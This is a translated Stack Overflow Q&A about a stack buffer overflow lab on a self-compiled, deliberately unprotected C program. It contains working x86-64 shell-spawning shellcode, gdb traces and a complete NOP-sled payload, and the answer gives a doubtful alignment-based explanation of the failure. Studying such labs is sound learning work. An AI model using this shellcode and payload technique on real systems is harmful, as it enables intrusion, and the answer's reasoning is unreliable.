gpt4 book ai didi

c - 缓冲区溢出未生成 shell?

转载 作者:行者123 更新时间:2023-11-30 16:17:38 28 4
gpt4 key购买 nike

(我知道,答案已经太多了,但需要帮助)

据我所知,缓冲区溢出可以通过 ASLR、内存金丝雀或不可执行堆栈来保护。因此,出于测试目的,我使用以下 sysctl -w kernel.randomize_va_space=0 禁用了 ASLR,使用以下 -fno-stack-protector 禁用了程序金丝雀,并使堆栈可执行带有以下-z execstack

现在为了确认这些我做了:ASLR

root@kali:/tmp# cat  /proc/sys/kernel/randomize_va_space
0

可执行堆栈:readelf -l vuln2

GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 RWE 0x10

其他可能有帮助的信息:

root@kali:/tmp# file vuln2
vuln2: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=8102b60ffa8c26f231e4184d2f49b2e7c26a18b9, not stripped

CPU架构是小端:

root@kali:/tmp# lscpu | grep 'Byte Order'
Byte Order: Little Endian

程序:

#include <stdio.h>

int main(int argc, char *argv[]){
char buf[512];
strcpy(buf, argv[1]);
return 0;
}

编译:

gcc -o vuln2 vuln2.c -fno-stack-protector -z execstack

Shellcode:为 25 个字节

\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05

shellcode 可以工作吗? 是的,是的,编译它会生成一个 shell:

#include <sys/mman.h>
#include <stdint.h>

char code[] = "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05";

int main(){
mprotect((void *)((uint64_t)code & ~4095), 4096, PROT_READ|PROT_EXEC);
(*(void(*)()) code)();
return 0;
}

我该如何利用它?

我需要 526 字节来覆盖 RIP:

(gdb) r $(python -c 'print "A"*526')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/vuln2 $(python -c 'print "A"*526')

Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in ?? ()
(gdb) x/x $rip
0x414141414141: Cannot access memory at address 0x414141414141

堆栈起始地址: 0x7fffffffdd70

(gdb) x/100x $rsp
0x7fffffffdd60: 0xffffe058 0x00007fff 0xf7fd3298 0x00000002
0x7fffffffdd70: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd80: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd90: 0x41414141 0x41414141 0x41414141 0x41414141

RBP 地址:

(gdb) x/x $rbp
0x7fffffffdf70: 0x41414141

现在为了利用堆栈,我们从 526 中减去 6(将替换为返回地址)和减去 25(shellcode),所以总共 526-6-25=495

最终利用:

(gdb) r $(python -c 'print "\x90"*495+"\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05"+"\x90\xdd\xff\xff\xff\x7f"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/vuln2 $(python -c 'print "\x90"*495+"\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05"+"\x90\xdd\xff\xff\xff\x7f"')

Program received signal SIGILL, Illegal instruction.
0x00007fffffffdf73 in ?? ()

我犯了什么错误吗?

最佳答案

1)我有同样的问题。当堆栈上的返回地址为

时就会发生这种情况

通过shellcode修改,替换的地址不属于有效

地址。

出现此错误后,输入 x/400xw $rsp ,选择有效地址并更正

填充,来自堆栈。

不客气。

0x00007fffffffdf73 不能是有效地址,因为您处于 64 位模式

并且该地址不是 8 字节对齐的。

没有任何单词从此地址开始。

例如,

 0x7fffffffdf70: 0x41414141      0x41414141      0x41414141      0x41414141

如果您尝试访问 0x7fffffffdf73 ,您将检索第一个单词(从左起)和从右起的第 3 个字节

(因为小端,MSB在右边)。

因此,您必须选择一个地址,例如 0x7fffffffdf70 或 0x7fffffffdf74 或

0x7fffffffdf78 等...(地址的最后一位是 4 的倍数)

关于c - 缓冲区溢出未生成 shell?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/56225630/

28 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com